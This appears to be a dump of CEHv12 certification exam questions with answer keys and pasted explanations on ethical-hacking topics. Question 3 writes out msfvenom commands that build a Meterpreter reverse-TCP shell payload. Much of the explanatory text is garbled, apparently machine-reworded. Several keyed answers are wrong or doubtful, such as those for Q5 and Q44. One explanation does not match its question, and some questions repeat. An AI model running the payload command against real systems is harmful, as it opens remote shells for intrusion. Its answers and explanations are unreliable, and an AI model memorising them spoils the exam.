



EC-Council

Exam Questions 312-50v12

Certified Ethical Hacker Exam (CEHv12)

NEW QUESTION 1

joe works as an it administrator in an organization and has recently set up a cloud computing service for the organization. To implement this service, he reached out to a telecom company for providing Internet connectivity and transport services between the organization and the cloud service provider, in the NIST cloud deployment reference architecture, under which category does the telecom company fall in the above scenario?

- A. Cloud booker
- B. Cloud consumer
- C. Cloud carrier
- D. Cloud auditor

Answer: C

Explanation:

A cloud carrier acts as an intermediary that provides connectivity and transport of cloud services between cloud consumers and cloud providers.

Cloud carriers provide access to consumers through network, telecommunication and other access devices. for instance, cloud consumers will obtain cloud services through network access devices, like computers, laptops, mobile phones, mobile web devices (MIDs), etc.

The distribution of cloud services is often provided by network and telecommunication carriers or a transport agent, wherever a transport agent refers to a business organization that provides physical transport of storage media like high- capacity hard drives.

Note that a cloud provider can started SLAs with a cloud carrier to provide services consistent with the level of SLAs offered to cloud consumers, and will require the cloud carrier to provide dedicated and secure connections between cloud consumers and cloud providers.

NEW QUESTION 2

Steven connected his iPhone to a public computer that had been infected by Clark, an attacker. After establishing the connection with the public computer, Steven enabled iTunes WI-FI sync on the computer so that the device could continue communication with that computer even after being physically disconnected. Now, Clark gains access to Steven's iPhone through the infected computer and is able to monitor and read all of Steven's activity on the iPhone, even after the device is out of the communication zone.

Which of the following attacks is performed by Clark in above scenario?

- A. IOS trustjacking
- B. IOS Jailbreaking
- C. Exploiting SS7 vulnerability
- D. Man-in-the-disk attack

Answer: A

Explanation:

An iPhone client's most noticeably terrible bad dream is to have somebody oversee his/her gadget, including the capacity to record and control all action without waiting be in a similar room. In this blog entry, we present another weakness called "Trustjacking", which permits an aggressor to do precisely that.

This weakness misuses an iOS highlight called iTunes Wi-Fi sync, which permits a client to deal with their iOS gadget without genuinely interfacing it to their PC. A solitary tap by the iOS gadget proprietor when the two are associated with a similar organization permits an assailant to oversee the gadget. Furthermore, we will stroll through past related weaknesses and show the progressions that iPhone has made to alleviate them, and why these are adequately not to forestall comparative assaults.

After interfacing an iOS gadget to another PC, the clients are being found out if they trust the associated PC or not. Deciding to believe the PC permits it to speak with the iOS gadget by means of the standard iTunes APIs.

This permits the PC to get to the photographs on the gadget, perform reinforcement, introduce applications and considerably more, without requiring another affirmation from the client and with no recognizable sign. Besides, this permits enacting the "iTunes Wi-Fi sync" highlight, which makes it conceivable to proceed with this sort of correspondence with the gadget even after it has been detached from the PC, as long as the PC and the iOS gadget are associated with a similar organization. It is intriguing to take note of that empowering "iTunes Wi-Fi sync" doesn't need the casualty's endorsement and can be directed simply from the PC side.

Getting a live stream of the gadget's screen should be possible effectively by consistently requesting screen captures and showing or recording them distantly.

It is imperative to take note of that other than the underlying single purpose of disappointment, approving the vindictive PC, there is no other component that forestalls this proceeded with access. Likewise, there isn't anything that informs the clients that by approving the PC they permit admittance to their gadget even in the wake of detaching the USB link.

NEW QUESTION 3

what is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?

- A. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c
- B. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c
- C. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
- D. msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe

Answer: C

Explanation:

<https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom> Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run 'set payload' for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it's pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.

Example for Windows:

- msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

NEW QUESTION 4

which of the following information security controls creates an appealing isolated environment for hackers to prevent them from compromising critical targets while simultaneously gathering information about the hacker?

- A. intrusion detection system

- B. Honeypot
- C. BotnetD Firewall

Answer: B

Explanation:

A honeypot may be a trap that an IT pro lays for a malicious hacker, hoping that they will interact with it during a way that gives useful intelligence. It's one among the oldest security measures in IT, but beware: luring hackers onto your network, even on an isolated system, are often a dangerous game. honeypot may be a good starting place: "A honeypot may be a computer or computing system intended to mimic likely targets of cyberattacks." Often a honeypot are going to be deliberately configured with known vulnerabilities in situation to form a more tempting or obvious target for attackers. A honeypot won't contain production data or participate in legitimate traffic on your network — that's how you'll tell anything happening within it's a results of an attack. If someone's stopping by, they're up to no good.

That definition covers a various array of systems, from bare-bones virtual machines that only offer a couple of vulnerable systems to ornately constructed fake networks spanning multiple servers. and therefore the goals of these who build honeypots can vary widely also , starting from defense thorough to academic research. additionally , there's now an entire marketing category of deception technology that, while not meeting the strict definition of a honeypot, is certainly within the same family. But we'll get thereto during a moment. honeypots aim to permit close analysis of how hackers do their dirty work. The team controlling the honeypot can watch the techniques hackers use to infiltrate systems, escalate privileges, and otherwise run amok through target networks. These sorts of honeypots are found out by security companies, academics, and government agencies looking to look at the threat landscape. Their creators could also be curious about learning what kind of attacks are out there, getting details on how specific sorts of attacks work, or maybe trying to lure a specific hackers within the hopes of tracing the attack back to its source. These systems are often inbuilt fully isolated lab environments, which ensures that any breaches don't end in non-honeypot machines falling prey to attacks.

Production honeypots, on the opposite hand, are usually deployed in proximity to some organization's production infrastructure, though measures are taken to isolate it the maximum amount as possible. These honeypots often serve both as bait to distract hackers who could also be trying to interrupt into that organization's network, keeping them faraway from valuable data or services; they will also function a canary within the coalpit , indicating that attacks are underway and are a minimum of partially succeeding.

NEW QUESTION 5

which type of virus can change its own code and then cipher itself multiple times as it replicates?

- A. Stealth virus
- B. Tunneling virus
- C. Cavity virus
- D. Encryption virus

Answer: A

Explanation:

A stealth virus may be a sort of virus malware that contains sophisticated means of avoiding detection by antivirus software. After it manages to urge into the now-infected machine a stealth viruses hides itself by continually renaming and moving itself round the disc.

Like other viruses, a stealth virus can take hold of the many parts of one's PC. When taking control of the PC and performing tasks, antivirus programs can detect it, but a stealth virus sees that coming and can rename then copy itself to a special drive or area on the disc, before the antivirus software.

Once moved and renamed a stealth virus will usually replace the detected 'infected' file with a clean file that doesn't trigger anti-virus detection. It's a never-ending game of cat and mouse.

The intelligent architecture of this sort of virus about guarantees it's impossible to completely rid oneself of it once infected. One would need to completely wipe the pc and rebuild it from scratch to completely eradicate the presence of a stealth virus. Using regularly-updated antivirus software can reduce risk, but, as we all know, antivirus software is additionally caught in an endless cycle of finding new threats and protecting against them. <https://www.techslang.com/definition/what-is-a-stealth-virus/>

NEW QUESTION 6

You are a penetration tester working to test the user awareness of the employees of the client xyz.

You harvested two employees' emails from some public sources and are creating a client-side backdoor to send it to the employees via email. Which stage of the cyber kill chain are you at?

- A. Reconnaissance
- B. Command and control
- C. Weaponization
- D. Exploitation

Answer: C

Explanation:

Weaponization

The adversary analyzes the data collected in the previous stage to identify the vulnerabilities and techniques that can exploit and gain unauthorized access to the target organization. Based on the vulnerabilities identified during analysis, the adversary selects or creates a tailored deliverable malicious payload (remote-access malware weapon) using an exploit and a backdoor to send it to the victim. An adversary may target specific network devices, operating systems, endpoint devices, or even individuals within the organization to carry out their attack. For example, the adversary may send a phishing email to an employee of the target organization, which may include a malicious attachment such as a virus or worm that, when downloaded, installs a backdoor on the system that allows remote access to the adversary. The following are the activities of the adversary:

- o Identifying appropriate malware payload based on the analysis
- o Creating a new malware payload or selecting, reusing, modifying the available malware payloads based on the identified vulnerability
- o Creating a phishing email campaign
- o Leveraging exploit kits and botnets

https://en.wikipedia.org/wiki/Kill_chain The Cyber Kill Chain consists of 7 steps: Reconnaissance, weaponization, delivery, exploitation, installation, command and control, and finally, actions on objectives. Below you can find detailed information on each.

* 1. Reconnaissance: In this step, the attacker/intruder chooses their target. Then they conduct indepth research on this target to identify its vulnerabilities that can be exploited.

* 2. Weaponization: In this step, the intruder creates a malware weapon like a virus, worm, or such to exploit the target's vulnerabilities. Depending on the target and the purpose of the attacker, this malware can exploit new, undetected vulnerabilities (also known as the zero-day exploits) or focus on a combination of different vulnerabilities.

* 3. Delivery: This step involves transmitting the weapon to the target. The intruder/attacker can employ different USB drives, e-mail attachments, and websites for this purpose.

* 4. Exploitation: In this step, the malware starts the action. The program code of the malware is triggered to exploit the target's vulnerability/vulnerabilities.

* 5. Installation: In this step, the malware installs an access point for the intruder/attacker. This access point is also known as the backdoor.

* 6. Command and Control: The malware gives the intruder/attacker access to the network/system.

* 7. Actions on Objective: Once the attacker/intruder gains persistent access, they finally take action to fulfill their purposes, such as encryption for ransom, data exfiltration, or even data destruction.

NEW QUESTION 7

Clark is a professional hacker. He created and configured multiple domains pointing to the same host to switch quickly between the domains and avoid detection. Identify the behavior of the adversary In the above scenario.

- A. use of command-line interface
- B. Data staging
- C. Unspecified proxy activities
- D. Use of DNS tunneling

Answer: C

Explanation:

A proxy server acts as a gateway between you and therefore the internet. It's an intermediary server separating end users from the websites they browse. Proxy servers provide varying levels of functionality, security, and privacy counting on your use case, needs, or company policy.

If you're employing a proxy server, internet traffic flows through the proxy server on its thanks to the address you requested. A proxy server is essentially a computer on the web with its own IP address that your computer knows. once you send an internet request, your request goes to the proxy server first. The proxy server then makes your web request on your behalf, collects the response from the online server, and forwards you the online page data so you'll see the page in your browser.

NEW QUESTION 8

Wilson, a professional hacker, targets an organization for financial benefit and plans to compromise its systems by sending malicious emails. For this purpose, he uses a tool to track the emails of the target and extracts information such as sender identities, mail servers, sender IP addresses, and sender locations from different public sources. He also checks if an email address was leaked using the haveibeenpwned.com API. Which of the following tools is used by Wilson in the above scenario?

- A. Factiva
- B. Netcraft
- C. infoga
- D. Zoominfo

Answer: C

Explanation:

Infoga may be a tool gathering email accounts informations (ip,hostname,country,...) from completely different public supply (search engines, pgp key servers and shodan) and check if email was leaked using haveibeenpwned.com API. is a really simple tool, however very effective for the first stages of a penetration test or just to know the visibility of your company within the net.

NEW QUESTION 9

Henry Is a cyber security specialist hired by BlackEye - Cyber security solutions. He was tasked with discovering the operating system (OS) of a host. He used the Unknornscan tool to discover the OS of the target system. As a result, he obtained a TTL value, which Indicates that the target system is running a Windows OS. Identify the TTL value Henry obtained, which indicates that the target OS is Windows.

- A. 64
- B. 128
- C. 255
- D. 138

Answer: B

Explanation:

Windows TTL 128, Linux TTL 64, OpenBSD 255 ... <https://subinsb.com/default-device-ttl-values/> Time to Live (TTL) represents to number of 'hops' a packet can take before it is considered invalid. ForWindows/Windows Phone, this value is 128. This value is 64 for Linux/Android.

NEW QUESTION 10

Allen, a professional pen tester, was hired by xpertTech solutWns to perform an attack simulation on the organization's network resources. To perform the attack, he took advantage of the NetBIOS API and targeted the NetBIOS service. B/ enumerating NetBIOS, he found that port 139 was open and could see the resources that could be accessed or viewed on a remote system. He came across many NetBIOS codes during enumeration. identify the NetBIOS code used for obtaining the messenger service running for the logged-in user?

- A. <1B>
- B. <00>
- C. <03>
- D. <20>

Answer: C

Explanation:

<03>

Windows Messenger administration

Courier administration is an organization based framework notice Windows administration by Microsoft that was remembered for some prior forms of Microsoft Windows.

This resigned innovation, despite the fact that it has a comparable name, isn't connected in any capacity to the later, Internet-based Microsoft Messenger administration for texting or to Windows Messenger and Windows Live Messenger (earlier named MSN Messenger) customer programming.

The Messenger Service was initially intended for use by framework managers to tell Windows clients about their networks.[1] It has been utilized malevolently to introduce spring up commercials to clients over the Internet (by utilizing mass- informing frameworks which sent an ideal message to a predetermined scope of IP addresses). Despite the fact that Windows XP incorporates a firewall, it isn't empowered naturally. Along these lines, numerous clients got such messages.

Because of this maltreatment, the Messenger Service has been debilitated as a matter of course in Windows XP Service Pack 2.

NEW QUESTION 10

what firewall evasion scanning technique make use of a zombie system that has low network activity as well as its fragment identification numbers?

- A. Decoy scanning
- B. Packet fragmentation scanning
- C. Spoof source address scanning
- D. Idle scanning

Answer: D

Explanation:

The idle scan could be a communications protocol port scan technique that consists of causing spoofed packets to a pc to seek out out what services square measure obtainable. this can be accomplished by impersonating another pc whose network traffic is extremely slow or nonexistent (that is, not transmission or receiving information). this might be associate idle pc, known as a “zombie”.

This action are often done through common code network utilities like nmap and hping. The attack involves causing solid packets to a particular machine target in an attempt to seek out distinct characteristics of another zombie machine. The attack is refined as a result of there's no interaction between the offender pc and also the target: the offender interacts solely with the “zombie” pc.

This exploit functions with 2 functions, as a port scanner and a clerk of sure informatics relationships between machines. The target system interacts with the “zombie” pc and distinction in behavior are often discovered mistreatment totally different|completely different “zombies” with proof of various privileges granted by the target to different computers.

The overall intention behind the idle scan is to “check the port standing whereas remaining utterly invisible to the targeted host.” The first step in execution associate idle scan is to seek out associate applicable zombie. It must assign informatics ID packets incrementally on a worldwide (rather than per-host it communicates with) basis. It ought to be idle (hence the scan name), as extraneous traffic can raise its informatics ID sequence, confusing the scan logic. The lower the latency between the offender and also the zombie, and between the zombie and also the target, the quicker the scan can proceed.

Note that once a port is open, IPIDs increment by a pair of. Following is that the sequence: offender to focus on -> SYN, target to zombie ->SYN/ACK, Zombie to focus on -> RST (IPID increment by 1) currently offender tries to probe zombie for result. offender to Zombie ->SYN/ACK, Zombie to offender -> RST (IPID increment by 1) So, during this method IPID increments by a pair of finally.

When associate idle scan is tried, tools (for example nmap) tests the projected zombie and reports any issues with it. If one does not work, attempt another.

Enough net hosts square measure vulnerable that zombie candidates are not exhausting to seek out. a standard approach is to easily execute a ping sweep of some network. selecting a network close to your supply address, or close to the target, produces higher results. you'll be able to attempt associate idle scan mistreatment every obtainable host from the ping sweep results till you discover one that works. As usual, it's best to raise permission before mistreatment someone's machines for surprising functions like idle scanning.

Simple network devices typically create nice zombies as a result of {they square measure|they're} normally each underused (idle) and designed with straightforward network stacks that are susceptible to informatics ID traffic detection. While distinguishing an acceptable zombie takes some initial work, you'll be able to keep re-using the nice ones. as an alternative, there are some analysis on utilizing unplanned public internet services as zombie hosts to perform similar idle scans. leverage the approach a number of these services perform departing connections upon user submissions will function some quite poor's man idle scanning.

NEW QUESTION 14

What is the first step for a hacker conducting a DNS cache poisoning (DNS spoofing) attack against an organization?

- A. The attacker queries a nameserver using the DNS resolver.
- B. The attacker makes a request to the DNS resolver.
- C. The attacker forges a reply from the DNS resolver.
- D. The attacker uses TCP to poison the DNS resolver.

Answer: B

Explanation:

https://ru.wikipedia.org/wiki/DNS_spoofing

DNS spoofing is a threat that copies the legitimate server destinations to divert the domain's traffic.

Ignorant these attacks, the users are redirected to malicious websites, which results in insensitive and personal data being leaked. It is a method of attack where your DNS server is tricked into saving a fake DNS entry. This will make the DNS server recall a fake site for you, thereby posing a threat to vital information stored on your server or computer.

The cache poisoning codes are often found in URLs sent through spam emails. These emails are sent to prompt users to click on the URL, which infects their computer. When the computer is poisoned, it will divert you to a fake IP address that looks like a real thing. This way, the threats are injected into your systems as well.

Different Stages of Attack of DNS Cache Poisoning:

- The attacker proceeds to send DNS queries to the DNS resolver, which forwards the Root/TLD authoritative DNS server request and awaits an answer.
- The attacker overloads the DNS with poisoned responses that contain several IP addresses of the malicious website. To be accepted by the DNS resolver, the attacker's response should match a port number and the query ID field before the DNS response. Also, the attackers can force its response to increasing their chance of success.
- If you are a legitimate user who queries this DNS resolver, you will get a poisoned response from the cache, and you will be automatically redirected to the malicious website.

NEW QUESTION 19

in an attempt to increase the security of your network, you Implement a solution that will help keep your wireless network undiscoverable and accessible only to those that know it. How do you accomplish this?

- A. Delete the wireless network
- B. Remove all passwords
- C. Lock all users
- D. Disable SSID broadcasting

Answer: D

Explanation:

The SSID (service set identifier) is the name of your wireless network. SSID broadcast is how your router transmits this name to surrounding devices. Its primary

function is to make your network visible and easily accessible. Most routers broadcast their SSIDs automatically. To disable or enable SSID broadcast, you need to change your router's settings.

Disabling SSID broadcast will make your Wi-Fi network name invisible to other users. However, this only hides the name, not the network itself. You cannot disguise the router's activity, so hackers can still attack it.

With your network invisible to wireless devices, connecting becomes a bit more complicated. Just giving a Wi-Fi password to your guests is no longer enough. They have to configure their settings manually by including the network name, security mode, and other relevant info.

Disabling SSID might be a small step towards online security, but by no means should it be your final one. Before considering it as a security measure, consider the following aspects:

- Disabling SSID broadcast will not hide your network completely

Disabling SSID broadcast only hides the network name, not the fact that it exists. Your router constantly transmits so-called beacon frames to announce the presence of a wireless network. They contain essential information about the network and help the device connect.

- Third-party software can easily trace a hidden network

Programs such as NetStumbler or Kismet can easily locate hidden networks. You can try using them yourself to see how easy it is to find available networks – hidden or not.

- You might attract unwanted attention.

Disabling your SSID broadcast could also raise suspicion. Most of us assume that when somebody hides something, they have a reason to do so. Thus, some hackers might be attracted to your network.

NEW QUESTION 20

Morris, a professional hacker, performed a vulnerability scan on a target organization by sniffing the traffic on the network to identify the active systems, network services, applications, and vulnerabilities. He also obtained the list of the users who are currently accessing the network. What is the type of vulnerability assessment that Morris performed on the target organization?

- A. internal assessment
- B. Passive assessment
- C. External assessment
- D. Credentialed assessment

Answer: B

Explanation:

Passive Assessment Passive assessments sniff the traffic present on the network to identify the active systems, network services, applications, and vulnerabilities. Passive assessments also provide a list of the users who are currently accessing the network.

NEW QUESTION 22

Abel, a cloud architect, uses container technology to deploy applications/software including all its dependencies, such as libraries and configuration files, binaries, and other resources that run independently from other processes in the cloud environment. For the containerization of applications, he follows the five-tier container technology architecture. Currently, Abel is verifying and validating image contents, signing images, and sending them to the registries. Which of the following tiers of the container technology architecture is Abel currently working in?

- A. Tier-1: Developer machines
- B. Tier-4: Orchestrators
- C. Tier-3: Registries
- D. Tier-2: Testing and accreditation systems

Answer: D

Explanation:

The official management decision given by a senior agency official to authorize operation of an information system and to explicitly accept the risk to agency operations (including mission, functions, image, or reputation), agency assets, or individuals, based on the implementation of an agreed-upon set of security controls. formal declaration by a designated accrediting authority (DAA) or principal accrediting authority (PAA) that an information system is approved to operate at an acceptable level of risk, based on the implementation of an approved set of technical, managerial, and procedural safeguards. See authorization to operate (ATO). Rationale: The Risk Management Framework uses a new term to refer to this concept, and it is called authorization.

Identifies the information resources covered by an accreditation decision, as distinguished from separately accredited information resources that are interconnected or with which information is exchanged via messaging. Synonymous with Security Perimeter.

For the purposes of identifying the Protection Level for confidentiality of a system to be accredited, the system has a conceptual boundary that extends to all intended users of the system, both directly and indirectly connected, who receive output from the system. See authorization boundary.

Rationale: The Risk Management Framework uses a new term to refer to the concept of accreditation, and it is called authorization. Extrapolating, the accreditation boundary would then be referred to as the authorization boundary.

NEW QUESTION 27

if you send a TCP ACK segment to a known closed port on a firewall but it does not respond with an RST. what do you know about the firewall you are scanning?

- A. There is no firewall in place.
- B. This event does not tell you anything about the firewall.
- C. It is a stateful firewall
- D. It is a non-stateful firewall.

Answer: B

NEW QUESTION 31

Samuel, a professional hacker, monitored and intercepted already established traffic between Bob and a host machine to predict Bob's ISN. Using this ISN, Samuel sent spoofed packets with Bob's IP address to the host machine. The host machine responded with a packet having an incremented ISN. Consequently, Bob's connection got hung, and Samuel was able to communicate with the host machine on behalf of Bob. What is the type of attack performed by Samuel in the above scenario?

- A. UDP hijacking
- B. Blind hijacking
- C. TCP/IP hacking

D. Forbidden attack

Answer: C

Explanation:

A TCP/IP hijack is an attack that spoofs a server into thinking it's talking with a sound client, once actually it's communication with an assaulter that has condemned (or hijacked) the tcp session.

Assume that the client has administrator-level privileges, which the attacker needs to steal that authority so as to form a brand new account with root-level access of the server to be used afterward. A tcp Hijacking is sort of a two-phased man-in-the-middle attack. The man-in-the-middle assaulter lurks within the circuit between a shopper and a server so as to work out what port and sequence numbers are being employed for the conversation.

First, the attacker knocks out the client with an attack, like Ping of Death, or ties it up with some reasonably ICMP storm. This renders the client unable to transmit any packets to the server. Then, with the client crashed, the attacker assumes the client's identity so as to talk with the server. By this suggests, the attacker gains administrator-level access to the server.

One of the most effective means of preventing a hijack attack is to want a secret, that's a shared secret between the shopper and also the server. looking on the strength of security desired, the key may be used for random exchanges. this is often once a client and server periodically challenge each other, or it will occur with each exchange, like Kerberos.

NEW QUESTION 33

Dorian Is sending a digitally signed email to Polly, with which key is Dorian signing this message and how is Poly validating It?

- A. Dorian is signing the message with his public ke
- B. and Poly will verify that the message came from Dorian by using Dorian's private key.
- C. Dorian Is signing the message with Polys public ke
- D. and Poly will verify that the message came from Dorian by using Dorian's public key.
- E. Dorian is signing the message with his private ke
- F. and Poly will verify that the message came from Dorian by using Dorian's public key.
- G. Dorian is signing the message with Polys private ke
- H. and Poly will verify mat the message came from Dorian by using Dorian's public key.

Answer: C

Explanation:

<https://blog.mailfence.com/how-do-digital-signatures-work/> https://en.wikipedia.org/wiki/Digital_signature

A digital signature is a mathematical technique used to validate the authenticity and integrity of a message, software, or digital document. It's the digital equivalent of a handwritten signature or stamped seal, but it offers far more inherent security. A digital signature is intended to solve the problem of tampering and impersonation in digital communications.

Digital signatures can provide evidence of origin, identity, and status of electronic documents, transactions, or digital messages. Signers can also use them to acknowledge informed consent. Digital signatures are based on public-key cryptography, also known as asymmetric cryptography.

Two keys are generated using a public key algorithm, such as RSA (Rivest-Shamir-Adleman), creating a mathematically linked pair of keys, one private and one public.

Digital signatures work through public-key cryptography's two mutually authenticating cryptographic keys. The individual who creates the digital signature uses a private key to encrypt signature-related data, while the only way to decrypt that data is with the signer's public key.

NEW QUESTION 37

A new wireless client is configured to join a 802.11 network. This client uses the same hardware and software as many of the other clients on the network. The client can see the network, but cannot connect. A wireless packet sniffer shows that the Wireless Access Point (WAP) is not responding to the association requests being sent by the wireless client. What is a possible source of this problem?

- A. The WAP does not recognize the client's MAC address
- B. The client cannot see the SSID of the wireless network
- C. Client is configured for the wrong channel
- D. The wireless client is not configured to use DHCP

Answer: A

Explanation:

https://en.wikipedia.org/wiki/MAC_filtering

MAC filtering is a security method based on access control. Each address is assigned a 48-bit address, which is used to determine whether we can access a network or not. It helps in listing a set of allowed devices that you need on your Wi-Fi and the list of denied devices that you don't want on your Wi-Fi. It helps in preventing unwanted access to the network. In a way, we can blacklist or white list certain computers based on their MAC address. We can configure the filter to allow connection only to those devices included in the white list. White lists provide greater security than blacklists because the router grants access only to selected devices.

It is used on enterprise wireless networks having multiple access points to prevent clients from communicating with each other. The access point can be configured only to allow clients to talk to the default gateway, but not other wireless clients. It increases the efficiency of access to a network. The router allows configuring a list of allowed MAC addresses in its web interface, allowing you to choose which devices can connect to your network. The router has several functions designed to improve the network's security, but not all are useful. Media access control may seem advantageous, but there are certain flaws.

On a wireless network, the device with the proper credentials such as SSID and password can authenticate with the router and join the network, which gets an IP address and access to the internet and any shared resources.

MAC address filtering adds an extra layer of security that checks the device's MAC address against a list of agreed addresses. If the client's address matches one on the router's list, access is granted; otherwise, it doesn't join the network.

NEW QUESTION 39

You are tasked to perform a penetration test. While you are performing information gathering, you find an employee list in Google. You find the receptionist's email, and you send her an email changing the source email to her boss's email (boss@company). In this email, you ask for a pdf with information. She reads your email and sends back a pdf with links. You exchange the pdf links with your malicious links (these links contain malware) and send back the modified pdf, saying that the links don't work. She reads your email, opens the links, and her machine gets infected. You now have access to the company network. What testing method did you use?

- A. Social engineering
- B. Piggybacking
- C. Tailgating
- D. Eavesdropping

Answer: A

Explanation:

Social engineering is the term used for a broad range of malicious activities accomplished through human interactions. It uses psychological manipulation to trick users into making security mistakes or giving away sensitive information.

Social engineering attacks typically involve some form of psychological manipulation, fooling otherwise unsuspecting users or employees into handing over confidential or sensitive data.

Commonly, social engineering involves email or other communication that invokes urgency, fear, or similar emotions in the victim, leading the victim to promptly reveal sensitive information, click a malicious link, or open a malicious file. Because social engineering involves a human element, preventing these attacks can be tricky for enterprises.

Incorrect answers:

Tailgating and Piggybacking are the same thing

Tailgating, sometimes referred to as piggybacking, is a physical security breach in which an unauthorized person follows an authorized individual to enter a secured premise.

Tailgating provides a simple social engineering-based way around many security mechanisms one would think of as secure. Even retina scanners don't help if an employee holds the door for an unknown person behind them out of misguided courtesy.

People who might tailgate include disgruntled former employees, thieves, vandals, mischief-makers, and issues with employees or the company. Any of these can disrupt business, cause damage, create unexpected costs, and lead to further safety issues.

Eavesdropping <https://en.wikipedia.org/wiki/Eavesdropping>

Eavesdropping is the act of secretly or stealthily listening to the private conversation or communications of others without their consent in order to gather information. Since the beginning of the digital age, the term has also come to hold great significance in the world of cybersecurity.

The question does not specify at what level and how this attack is used. An attacker can eavesdrop on a conversation or use special software and obtain information on the network. There are many options, but this is not important because the correct answer is clearly not related to information interception.

NEW QUESTION 44

What is one of the advantages of using both symmetric and asymmetric cryptography in SSL/TLS?

- A. Supporting both types of algorithms allows less-powerful devices such as mobile phones to use symmetric encryption instead.
- B. Symmetric algorithms such as AES provide a failsafe when asymmetric methods fail.
- C. Symmetric encryption allows the server to security transmit the session keys out-of-band.
- D. Asymmetric cryptography is computationally expensive in compariso
- E. However, it is well-suited to securely negotiate keys for use with symmetric cryptography.

Answer: A

NEW QUESTION 49

Kevin, a professional hacker, wants to penetrate CyberTech Inc.'s network. He employed a technique, using which he encoded packets with Unicode characters. The company's IDS cannot recognize the packet, but the target web server can decode them.

What is the technique used by Kevin to evade the IDS system?

- A. Desynchronization
- B. Obfuscating
- C. Session splicing
- D. Urgency flag

Answer: B

Explanation:

Adversaries could decide to build an possible or file difficult to find or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. this is often common behavior which will be used across totally different platforms and therefore the network to evade defenses.

Payloads may be compressed, archived, or encrypted so as to avoid detection. These payloads may be used throughout Initial Access or later to mitigate detection. typically a user's action could also be needed to open and Deobfuscate/Decode Files or info for User Execution. The user can also be needed to input a parole to open a parole protected compressed/encrypted file that was provided by the mortal. Adversaries can also used compressed or archived scripts, like JavaScript.

Portions of files can even be encoded to cover the plain-text strings that will otherwise facilitate defenders with discovery. Payloads can also be split into separate, ostensibly benign files that solely reveal malicious practicality once reassembled.

Adversaries can also modify commands dead from payloads or directly via a Command and Scripting Interpreter. surroundings variables, aliases, characters, and different platform/language specific linguistics may be wont to evade signature based mostly detections and application management mechanisms.

NEW QUESTION 54

You start performing a penetration test against a specific website and have decided to start from grabbing all the links from the main page. What is the best Linux pipe to achieve your milestone?

- A. `dirb https://site.com | grep "site"`
- B. `curl -s https://sile.com | grep "< a href-\\http" | grep "Site-com- | cut -d "V" -f 2`
- C. `wget https://stte.com | grep "< a href=*http" | grep "site.com"`
- D. `wgethttps://site.com | cut-d"http`

Answer: C

NEW QUESTION 57

To invisibly maintain access to a machine, an attacker utilizes a toolkit that sits undetected in the core components of the operating system. What is this type of rootkit an example of?

- A. Hypervisor rootkit
- B. Kernel rootkit
- C. Hardware rootkit
- D. Firmware rootkit

Answer: B

Explanation:

Kernel-mode rootkits run with the best operating system privileges (Ring 0) by adding code or replacement parts of the core operating system, as well as each the kernel and associated device drivers. Most operative systems support kernel-mode device drivers, that execute with a similar privileges because the software itself. As such, several kernel-mode rootkits square measure developed as device drivers or loadable modules, like loadable kernel modules in Linux or device drivers in Microsoft Windows. This category of rootkit has unrestricted security access, however is tougher to jot down. The quality makes bugs common, and any bugs in code operative at the kernel level could seriously impact system stability, resulting in discovery of the rootkit. one amongst the primary wide familiar kernel rootkits was developed for Windows NT four.0 and discharged in Phrack magazine in 1999 by Greg Hoglund. Kernel rootkits is particularly tough to observe and take away as a result of they operate at a similar security level because the software itself, and square measure therefore able to intercept or subvert the foremost sure software operations. Any package, like antivirus package, running on the compromised system is equally vulnerable. during this scenario, no a part of the system is sure.

NEW QUESTION 61

Harris is attempting to identify the OS running on his target machine. He inspected the initial TTL in the IP header and the related TCP window size and obtained the following results:

TTL: 64 Window Size: 5840

What is the OS running on the target machine?

- A. Solaris OS
- B. Windows OS
- C. Mac OS
- D. Linux OS

Answer: D

NEW QUESTION 64

Which rootkit is characterized by its function of adding code and/or replacing some of the operating-system kernel code to obscure a backdoor on a system?

- A. User-mode rootkit
- B. Library-level rootkit
- C. Kernel-level rootkit
- D. Hypervisor-level rootkit

Answer: C

NEW QUESTION 67

what firewall evasion scanning technique make use of a zombie system that has low network activity as well as its fragment identification numbers?

- A. Decoy scanning
- B. Packet fragmentation scanning
- C. Spoof source address scanning
- D. Idle scanning

Answer: D

Explanation:

The idle scan could be a communications protocol port scan technique that consists of causing spoofed packets to a pc to seek out out what services square measure obtainable. this can be accomplished by impersonating another pc whose network traffic is extremely slow or nonexistent (that is, not transmission or receiving information). this might be associate idle pc, known as a "zombie".

This action are often done through common code network utilities like nmap and hping. The attack involves causing solid packets to a particular machine target in an attempt to seek out distinct characteristics of another zombie machine. The attack is refined as a result of there's no interaction between the offender pc and also the target: the offender interacts solely with the "zombie" pc.

This exploit functions with 2 functions, as a port scanner and a clerk of sure informatics relationships between machines. The target system interacts with the "zombie" pc and distinction in behavior are often discovered mistreatment totally different|completely different "zombies" with proof of various privileges granted by the target to different computers.

The overall intention behind the idle scan is to "check the port standing whereas remaining utterly invisible to the targeted host."

The first step in execution associate idle scan is to seek out associate applicable zombie. It must assign informatics ID packets incrementally on a worldwide (rather than per-host it communicates with) basis. It ought to be idle (hence the scan name), as extraneous traffic can raise its informatics ID sequence, confusing the scan logic. The lower the latency between the offender and also the zombie, and between the zombie and also the target, the quicker the scan can proceed.

Note that once a port is open, IPIDs increment by a pair of. Following is that the sequence:

offender to focus on -> SYN, target to zombie ->SYN/ACK, Zombie to focus on -> RST (IPID increment by 1)
currently offender tries to probe zombie for result. offender to Zombie ->SYN/ACK, Zombie to offender
-> RST (IPID increment by 1)

So, during this method IPID increments by a pair of finally.

